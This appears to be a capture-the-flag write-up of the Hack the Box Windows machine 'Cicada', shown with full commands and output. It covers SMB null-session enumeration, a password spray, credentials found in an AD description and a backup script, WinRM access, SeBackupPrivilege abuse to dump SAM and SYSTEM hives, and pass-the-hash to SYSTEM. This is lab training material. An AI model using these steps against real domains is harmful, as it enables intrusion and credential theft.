



Summary of Exploitation

Today I pwned Cicada. Cicada was an easy Windows machine from Hack the Box. I used netexec to enumerate a null session smb share that had an exposed password in a text file. After a password spray I was able to locate a user. Since I had a form of authentication I ran bloodhound and found a password for another user that had access to a restricted share that contained the password for a user that had access to winrm. The winrm user had a the SeDebug Privilege which allowed me to download the SAM leading to a pass the hash with the administrator and an overall compromise of the machine. Lets get started.

Recon - Exploitation Phase

As always I start with my tried and true nmap scan.

```
sudo nmap -sC -sV -p- --min-rate 10000 10.129.198.41 -oA nmap.out
(kali㉿kali)-[~/Documents/htb/writeups/cicada]
$ sudo nmap -sC -sV -p- --min-rate 10000 10.129.198.41 -oA nmap.out
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-27 21:53 EST
```

Nmap scan report for 10.129.198.41
Host is up (0.025s latency).
Not shown: 65522 filtered tcp ports (no-response)

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Simple DNS Plus
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2024-12-28 09:53:52Z)
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
ssl-cert: Subject: commonName=CICADA-DC.cicada.htb			
Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb			
Not valid before: 2024-08-22T20:24:16			
_Not valid after: 2025-08-22T20:24:16			
_ssl-date: TLS randomness does not represent time			
445/tcp	open	microsoft-ds?	
464/tcp	open	kpasswd5?	
593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	ssl/ldap	Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
ssl-cert: Subject: commonName=CICADA-DC.cicada.htb			
Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb			
Not valid before: 2024-08-22T20:24:16			
_Not valid after: 2025-08-22T20:24:16			
_ssl-date: TLS randomness does not represent time			
3268/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
_ssl-date: TLS randomness does not represent time			
ssl-cert: Subject: commonName=CICADA-DC.cicada.htb			
Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb			
Not valid before: 2024-08-22T20:24:16			
_Not valid after: 2025-08-22T20:24:16			
3269/tcp	open	ssl/ldap	Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
ssl-cert: Subject: commonName=CICADA-DC.cicada.htb			
Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb			
Not valid before: 2024-08-22T20:24:16			
_Not valid after: 2025-08-22T20:24:16			
_ssl-date: TLS randomness does not represent time			
5985/tcp	open	http	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-title: Not Found			
_http-server-header: Microsoft-HTTPAPI/2.0			
54132/tcp	open	msrpc	Microsoft Windows RPC

Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:


```
| smb2-security-mode:
|   3:1:1:
|_   Message signing enabled and required
| smb2-time:
|   date: 2024-12-28T09:54:43
|_  start_date: N/A
|_clock-skew: 6h59m58s
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .

```
Nmap done: 1 IP address (1 host up) scanned in 109.07 seconds
```

Port	Protocol	Service Details
53	DNS	Simple DNS Plus
88	Kerberos	Kerberos
135	RPC	RPC
139	RPC	Netbios
389	LDAP	LDAP
445	SMB	SMB2
464	?	?
593	RPC	RPC
636	LDAP SSL	LDAP SSL
3268	LDAP SSL	LDAP SSL
3269	LDAP SSL	LDAP SSL
6985	WINRM	WINRM
54132	RPC	RPC

Judging from the ports gathered, this is clearly a Windows Domain Controller. CICADA-DC.cicada.htb I want to add this to my `etc/hosts` file.

```
127.0.0.1      localhost
127.0.1.1      kali
::1            localhost ip6-localhost ip6-loopback
ff02::1        ip6-allnodes
ff02::2        ip6-allrouters

10.129.198.41  cicada.htb CICADA-DC.cicada.htb
~
```

As with most DCs, this is a game of information gathering. I'm going to start with SMB enumeration using netexec checking for null sessions.

```
nxc smb 10.129.198.41 -u 'guest' -p '' --shares
```

```
[kali@kali]~$ nxc smb 10.129.198.41 -u 'guest' -p '' --shares
```

```
SMB 10.129.198.41 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
```

```
SMB 10.129.198.41 445 CICADA-DC [+] cicada.htb\guest:
```

```
SMB 10.129.198.41 445 CICADA-DC [*] Enumerated shares
```

	Share	Permissions	Remark
SMB	10.129.198.41 445 CICADA-DC ADMIN\$		Remote Admin
SMB	10.129.198.41 445 CICADA-DC C\$		Default share
SMB	10.129.198.41 445 CICADA-DC DEV		
SMB	10.129.198.41 445 CICADA-DC HR	READ	
SMB	10.129.198.41 445 CICADA-DC IPC\$	READ	Remote IPC
SMB	10.129.198.41 445 CICADA-DC NETLOGON		Logon server share
SMB	10.129.198.41 445 CICADA-DC SYSVOL		Logon server share

Looks like I can read the HR share. Ill do that using smbclient.

```
smbclient //10.129.198.41/HR -U guest
```

$$\vdash (\text{kali} \oplus \text{kali}) - [\sim]$$

```
$ smbclient //10.129.198.41/HR -U quest
```

Password for [WORKGROUP\guest]:

```
smb: \> dir
```

4168447 blocks of size 4096. 439309 blocks available

```
smb: \> get "Notice from HR.txt"
```

```
nxc smb 10.129.198.41 -u 'guest' -p '' --rid-brute
```

```
awk -F'\\\\\\|\\\\(' '{print $2}' temp.txt > users.txt
```

Dev Support

Administrator <forgot this, but its important>

```
nxc smb 10.129.198.41 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success
```

I got an authentication with michael.wrightson, Unfortunately, he doesn't have WINRM access.

Nor does he have access to anymore shares.

Ill use his access to dump LDAP for more information using `ldapdomaindump`.

Now I can view the users `domain_users.html` easily in the browser

Domain users

CN	name	SAM Name
Emily Oscars	Emily Oscars	emily.oscars
David Orelious	David Orelious	david.orelious
Michael Wrightson	Michael Wrightson	michael.wrightson
Sarah Dantelia	Sarah Dantelia	sarah.dantelia
John Smoulder	John Smoulder	john.smoulder
krbtgt	krbtgt	krbtgt
Guest	Guest	Guest
Administrator	Administrator	Administrator

pwdLastSet	SID	description
08/22/24 21:20:17	<u>1601</u>	
03/14/24 12:17:29	<u>1108</u>	Just in case I forget my password is aRt\$Lp#7t*VQ!3
03/14/24 12:17:29	<u>1106</u>	

David put their password in their user description. The cycle repeats and we check SMB again.

```
nxc smb 10.129.198.41 -u david.orelous -p 'aRt$Lp#7t*VQ!3' --shares
```

```
(kali㉿kali)-[~/../htb/writeups/cicada/loot]
$ nxc smb 10.129.198.41 -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
SMB      10.129.198.41    445     CICADA-DC          [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
SMB      10.129.198.41    445     CICADA-DC          [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB      10.129.198.41    445     CICADA-DC          [*] Enumerated shares
SMB      10.129.198.41    445     CICADA-DC          Share              Permissions        Remark
SMB      10.129.198.41    445     CICADA-DC          ADMIN$             Remote Admin
SMB      10.129.198.41    445     CICADA-DC          C$                 Default share
SMB      10.129.198.41    445     CICADA-DC          DEV                READ
SMB      10.129.198.41    445     CICADA-DC          HR                  READ
SMB      10.129.198.41    445     CICADA-DC          IPC$               Remote IPC
SMB      10.129.198.41    445     CICADA-DC          NETLOGON           Logon server share
SMB      10.129.198.41    445     CICADA-DC          SYSVOL             Logon server share
```

David has access to the DEV share. We can once again check for any interesting files.

```
(kali㉿kali)-[~/.../htb/writeups/cicada/loot]
$ smbclient //10.129.198.41/DEV -U david.orelous 'aRt$Lp#7t*VQ!3'
```

Try "help" to get a list of possible commands.

```
smb: \> dir
```

```

.                D            0   Thu Mar 14 08:31:39 2024
..               D            0   Thu Mar 14 08:21:29 2024
Backup_script.ps1 A          601  Wed Aug 28 13:28:22 2024
```

4168447 blocks of size 4096. 438334 blocks available

```
smb: \>
```

I'm going to grab this file using get again and view its contents.

```
(kali㉿kali)-[~/.../htb/writeups/cicada/loot]
└─$ cat Backup_script.ps1
```

```
$sourceDirectory = "C:\smb"
```

```
$destinationDirectory = "D:\Backup"
```

```
$username = "emily.oscars"
```

```
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
```

```
$credentials = New-Object System.Management.Automation.PSCredential($username,
$password)
```

```
$dateStamp = Get-Date -Format "yyyyMMdd_HH:mm:ss"
```

```
$backupFileName = "smb_backup_$dateStamp.zip"
```

```
$backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName
```

```
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
```

```
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"
```

I see hard coded credentials for the user Emily. I'm going to check if she has WINRM access.

```
(kali㉿kali)-[~/.../htb/writeups/cicada/loot]
└─$ nxc winrm 10.129.198.41 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
WINRM 10.129.198.41 5985 CICADA-DC [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (c
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.198.41 5985 CICADA-DC [+] cicada.htb\emily.oscars:Q!3@Lp#M6b*7t*Vt (Pwn3d!)
```

Nice! We can now get a shell as Emily using **Evil-Winrm**.

```
evil-winrm -i 10.129.198.41 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
```

```
(kali㉿kali)-[~/.../htb/writeups/cicada/loot]
└─$ evil-winrm -i 10.129.198.41 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami
cicada\emily.oscars
```

Grab the user.txt from the Desktop!

```
*Evil-WinRM* PS C:\users\emily.oscars.CICADA\desktop> cat user.txt
d333d*****
```

Priv-Esc to System

On windows machines, much like linux, first thing I want to check for is privileges.

```
whoami /priv
```

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> whoami /priv
```

```
PRIVILEGES INFORMATION
```

```
-----
```

Privilege Name	Description	State
=====	=====	=====

SeBackupPrivilege	Back up files and directories	Enabled
SeRestorePrivilege	Restore files and directories	Enabled
SeShutdownPrivilege	Shut down the system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

SeBackupPrivilege is an instant win. We can copy the sam and system registry values and pass the Administrator hash.

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> mkdir C:\temp
```

```
Directory: C:\
```

Mode	LastWriteTime	Length	Name
d-----	12/28/2024 2:57 AM		temp

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\system
C:\temp\system.hive
The operation completed successfully.
```

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\sam
C:\temp\sam.hive
The operation completed successfully.
```

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd C:\temp
*Evil-WinRM* PS C:\temp> download sam.hive
```

```
Info: Downloading C:\temp\sam.hive to sam.hive
```

```
Info: Download successful!
```

```
*Evil-WinRM* PS C:\temp> download system.hive
```

```
Info: Downloading C:\temp\system.hive to system.hive
```

```
Info: Download successful!
```

```
*Evil-WinRM* PS C:\temp>
```

Now back at the attacker, I can use `impacket-secretsdump` to well, dump the secrets.

```
(kali㉿kali)-[~/.../htb/writeups/cicada/loot]
```

```
$ impacket-secretsdump -sam sam.hive -system system.hive local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
```

```
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341
:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c
0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't
```


have hash information.

[*] Cleaning up...

Thanks to windows and it's silliness, I can just pass the administrator hash using impacket-psexec and have a shell as system.

```
(kali㉿kali)-[~/.../htb/writeups/cicada/loot]
└─$ impacket-psexec cicada.htb/Administrator@10.129.198.41 -hashes
'aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
```

```
[*] Requesting shares on 10.129.198.41.....
[*] Found writable share ADMIN$
[*] Uploading file DgNSqBjx.exe
[*] Opening SVCManager on 10.129.198.41.....
[*] Creating service RURf on 10.129.198.41.....
[*] Starting service RURf.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2700]
(c) Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>
```

And grab the root flag!

```
C:\Users\Administrator\Desktop> type root.txt
84702*****
```

This machine was very easy, but its always good to brush up on the basics of Domain Controller enumeration.
Thanks for reading! Happy Hacking!